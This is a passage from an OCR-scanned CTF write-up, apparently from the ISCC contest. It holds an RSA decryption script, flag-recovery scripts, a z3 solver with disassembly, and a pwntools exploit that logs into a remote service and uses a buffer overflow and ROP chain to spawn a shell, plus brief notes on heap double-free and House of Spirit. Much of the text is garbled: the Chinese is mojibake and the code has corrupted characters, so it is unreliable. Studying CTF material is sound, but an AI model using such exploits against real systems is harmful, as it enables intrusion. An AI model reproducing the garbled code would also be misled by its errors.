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$openssl rsa -pubin -text -modulus -in ./public.key
Public-Key: (256 bit)
Modulus:
00:d9:9e:95:22:96:a6:d9:60:df:c2:50:4a:ba:54:
5b:94:42:d6:0a:7b:9e:93:0a:ff:45:1c:78:ec:55:
d5:55:eb
Exponent: 65537 (0x10001)
Modulus=D99E952296A6D960DFC2504ABA545B9442D60A7BOE930AFF451C78EC55D555EB
writing RSA key

MDwwDQYJKoZIhvcNAQEBBQADKWAWKAIhANme1SKWpt1g38IQSrpUWSRC1gp7npMK
/0UceOxV1VXrAgMBAAE=

rsaz %, Exponent=65537 B} e {6 , ModulusEl An
{5 FH pythonfi# 2% Bl ]

#!/usr/bin/env python
#coding:utf-8
import gmpy2
import rsa
p = 302825536744096741518546212761194311477
q 325045504186436346209877301320131277983
n 98432079271513130981267919056149161631892822707167177858831841699521774310891
e = 65537
d = int(gmpy2.invert(e , (p-1) * (gq-1)))
privatekey = rsa.PrivateKey(n , e , d , p, q)
with open("encrypted.messagel” , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode())
with open("encrypted.message2" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode())
with open("encrypted.message3" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode())
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i7e)a, RefgrEidart kIEEIZ T b ffiflag:s_imsaplw_e_siishtnt{g_ialt}F

FRIB ISR, IR — i J LR RESS H IE Y flag i .

PP ERZ JGMAREIZAT T, MIEFEKIER, " AfEwWinedbgh#H TR, B2 RS HHHZ A wine< B IR £ 5
1w, BT LA 1R Rewine3.8

I % 22 2 wine3.8

ARV EDRRE S
Star Ixf wine-3.8.tar.xz
$cd wine-3.8/
$. /configure --enable-win64
12— ikerror: no suitable bison found. Please install the 'bison’ package.
$sudo apt-get install bison
N —1“ % iRerror: Free Type 64-bit development files not found. Fonts will not be built.
RIS FIBT I FIEFAKATE, i T LA — B R, E B A% TN 2K
$./configure --enable-win64 --without-freetype

$make $sudo make install

winelf-BitA S, HJEH .
REDG I i T E LR B 2, M ANAIflag 5 KM/ eR, X AR S IR 1E,  RIATAS Biflag R LRI, B 2 AT )75
FR 101 1) AR 45 R AT 45 Biiflag 15 FHMAXRFE 1 B A S 35t 1]
o OxTRFfffff
0x0
(" feghdcijbakl98mn760p54qr32st10" ) 4—————
0x19

("0123456789abcdefghijklmnopgrst™) "/

Ox1e

- -

0x4012f7:

0x4012fc:

0x4012fd: eax, FWORD PTR [eax*4-0x7cf38a40]
0x401304: = FWORD PTR ds:0x1cba0772
0x40130a: inc edx

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = "M4x'

encrypt = "s_imsaplw_e_siishtnt{g ialt}F"
before = "abcdefghijklmnopgrstuvwxyzABC"

after = "onpgmlrskjtuihvwgfxyedzAcbBCa"

flag = [encryptlafter.find(c)1 for c in beforel



print .join(flag)

#Flag{this_was_simple_isnt_it}
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obfuscation and encode
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Reault[@] = alpha[trans[@] >> 2 & Ox3f] == 'l'

vil =1

vlie = 2

Reault[1] = alpha[((trans[1]>>4)]|16*trans[0]) & Ox3f] == 'U’
Reault[2] = alpha[((trans[2]>>6)|4*trans[1]) & @x3f] == 'F'
vli2 = 3

v24 = 4

Reault[3] = alpha[trans[2]&9x3f] == 'B'

A DR I — R AT A DU A AT 1R, trans
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e 24 0 R LB R

# -*- coding: UTF-8 -*-
table = 'FeVYKw6a@1lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+"

def decodeBase64(src):

delPaddingTail = {0: @, 2: 4, 1: 2}

value = "'

n = src.count('=")

sin = src[:1len(src) - n]

for ¢ in sin:
value += bin(table.find(c))[2:].zfill(6).replace('Ob', "")

value = value[:len(value) - delPaddingTail[n]]

print value

middle = []

for i in range(8, len(value) + 1, 8):
middle.append(int(value[i-8:i], 2))

output = middle

print output

return ''.join(map(chr, output))

res = decodeBase64("1UFBUT7hADVItXEGn7KgTEjqw8U5VQUQ")

P P
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princ res

154 Ftrans

[37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7,
38]

R, eI ER ST IR M ik Fifencode
5 gdbIAS {7V AR R AN, BRI 2 I 0x4008¢6 A110x400906 7% 17 Al flitrans 5 5%

.text:0000888000400894 ; - - - - - -
.text:0000000000400894 ; 74: vl2 += input[4 * v11 + v11] * m[4 * v11l + v1l];
.text:0000000000400894
.text :0000000000400894 loc_400894: ; CODE XREF: fencode+D91j
.text:0000000000400894 mov rax, offset m
. text:000000000040089E movsxd rcx, [rbp+var_2C]
.text:00000000004008A2 shl rex, 4
.text:00000000004008A6 add rax, rcx
. text:00000000004008A9 movsxd rcx, [rbp+var_34]
.text:00000000004008AD mov edx, [rax+rcx*4]
.text:00000000004008B0 mov rax, [rbp+s]
.text:00000000004008B4 mov esi, [rbp+var_34]
.text:00000000004008B7 mov edi, [rbp+var_28]
.text:00000000004008BA shl edi, 2
.text:00000000004008BD add esi, edi
.text :00000000004008BF movsxd rcx, esi
.text :00000000004008C2 movsx  esi, byte ptr [rax+rcx]
Ltext:
.text:00000000004008C9 add edx, [rbp+var_30]
.text :00000000004008CC mov [rbp+var_30], edx
.text:00000000004008CF ; 75: vll = ©x9DD488F1;
. text:00800000004008F0 ; - - - - - oo
.text:00000000004008F0 ; 40: output[vi2] = (char)vi2 % 127;
. text : 00000000004008F0
.text:00000000004008F0 loc_4008F0: ; CODE XREF: fencode+3FTj
. text:00000000004008F0 mov eax, 7Fh
. text:00000000004008F5 mov ecx, [rbp+var_30]
. text:00000000004008F8 mov dl, cl
.text: 00000000004008FA movsx  ecx, dl
. text:00000000004008FD mov [rbp+var_80], eax
. text:0000000000400900 mov eax, ecx
. text:0o00000000400902 cdqg
. text : 0000000000400903 mov ecx, [rbp+var_86]
. text:0000000000400908 mov sil, dl
. text:0000000000400908B ; 39: +4+v12;
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#!/usr/bin/env python
# -*-coding=utf-8-*-
from z3 import *

trans = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 4@, 133, 38, 38, 22, 231, 17,
9, 7, 38]

print len(trans)

m=1[2,2,4,-5,1,1,3,-3, -1, -2, -3, 4, -1, 9, -2,2]

BitVec('a',64)

BitVec('b',64)

BitVec('c',64)

RitVec('d'.64)

1]
]

Qa n o
] ]



for i in range(6):

s = Solver()

s.add((2 * a+ 2 *b +4 * c - 5 * d) & oxff== trans[4 * i])
.add((a + b + 3 * c - 3 * d)& oOxff== trans[4*i+1])
.add((-1 * a - 2 *b -3 * c + 4 * d) & Oxff == trans[4 * i + 2])
.add(( -1 *a -2 * c+ 2 * d) & oxff == trans[4 * i + 3])
.add(a<256)
.add(b<256)
.add(c<256)
.add(d<256)
if s.check() == sat:

print s.model()

n u nu nu nu n un

else :
print s.check()

#[b = 108, a = 102, ¢ = 97, d = 103]
#[b = 100, a = 123, ¢ = 79, d = 95]
#[b = 48, a = 121, c = 85, d = 95]
#[b = 78, a = 75, ¢ = 111, d = 87]
#[b = 48, a = 95, ¢ = 73, d = 108]
#[b = 109, a = 86, c = 63, d = 125]

f = [102,108,97,103,123,100,79,95,121,48,85,95,75,78,111,87,95,48,73,108,86,109,63,125]
print map(chr,f)
flag = "'
for i in f:
flag += chr(i)
print flag

USRI AR, HEG T 5 547 R AT

Pwn



Login(pwn50)
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#!/usr/bin/env python

# -*-coding=utf-8-*-

from pwn import *
context.log_level = 'debug'

# io = process('./pwn50")

io = remote('47.104.16.75"',9000)
elf = ELF('./pwn50")

sys_addr = elf.plt['system']
rdi_ret = 0x400b03

cmd = Ox601100
usr = 'admin’
psd = 'T60BSh2i’

io.recvuntil('name: ")
io.sendline(usr)
io.recvuntil('word: ")
io.sendline(psd)

io.recvuntil('choice: ")
io.send('1\n")
io.recvuntil('and: ")
io.send('/bin/sh\@\n")
io.recvuntil('choice: ")

payload = '3' * (0x50 + 0x8)
payload += p64(rdi_ret) + p64(cmd)
payload += p64(sys_addr)
io.send(payload)

io.interactive()

# flag{welcome_to_iscc}

Write some paper(pwn3)

double free [1) 7] &
Z: i Fastbinz double free

Happy hotel(pwn300)

LCTFJE /1 ? House of spirit
Hos 43 #7)
PLPwnable spirited_away 41573 7 «
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